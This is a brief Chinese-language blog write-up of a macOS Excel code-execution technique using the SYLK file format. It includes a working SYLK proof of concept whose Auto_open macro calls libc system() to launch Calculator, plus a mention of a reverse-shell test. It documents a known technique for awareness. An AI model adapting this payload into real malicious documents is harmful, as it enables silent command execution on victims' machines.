背景

该漏洞最初由Pieter Ceelen发现。如果安装时启用Disable all macros without notification,可实现悄无声息执行命令。

查看打开文件的默认程序,可以看到.slk文件默认用Excel打开

cd /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support && ./lsregister -dump

Excel RCE on macOS

POC,打开计算器测试

ID;P
O;E
NN;NAuto_open;ER101C1;KOut Flank;F
C;X1;Y101;K0;ECALL("libc.dylib","system","JC","open -a Calculator")
C;X1;Y102;K0;EHALT()
E

Excel RCE on macOS

反弹shell测试

Excel RCE on macOS

总结

默认配置的Excel一般会有宏的提示,对于安全意识不高的群体仍然存在一定的风险。

参考

https://outflank.nl/blog/2019/10/30/abusing-the-sylk-file-format/#more-547

https://objective-see.com/blog/blog_0x50.html

相关文章:

  • 2021-10-05
  • 2021-10-24
  • 2021-06-28
  • 2022-01-25
  • 2022-01-30
  • 2021-06-12
  • 2021-12-26
  • 2022-12-23
猜你喜欢
  • 2022-12-23
  • 2021-07-02
  • 2022-01-19
  • 2021-12-27
  • 2021-05-20
  • 2022-12-23
  • 2022-12-23
相关资源
相似解决方案